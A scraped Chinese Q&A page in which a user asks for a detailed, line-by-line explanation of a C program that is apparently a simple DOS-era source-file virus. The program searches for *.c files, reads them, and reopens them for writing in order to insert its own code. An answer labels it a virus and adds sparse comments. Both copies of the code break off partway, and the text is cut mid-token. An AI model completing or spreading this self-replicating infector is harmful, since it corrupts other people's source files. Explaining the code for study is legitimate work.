求大虾帮我翻译这个C的程序 要详细的注解

来源:百度知道 编辑:UC知道 时间:2024/05/17 09:05:10
代码如下:
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t&qu

#include <stdio.h> 包含头文件stdio.h
#include <dir.h> 包含头文件dir.h
void main(void) 主程序开始类型为空
{
virus(); 调用函数VIRUS
}
int virus() 函数viurs开始
{
struct ffblk ffblk; 定义架构体两个
FILE *in,*out,*read;
char *virus="virus.c"; 从这儿可以看出来,这个是一个病毒程序啊
char buf[50][80]; 平凡的调用、内存
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets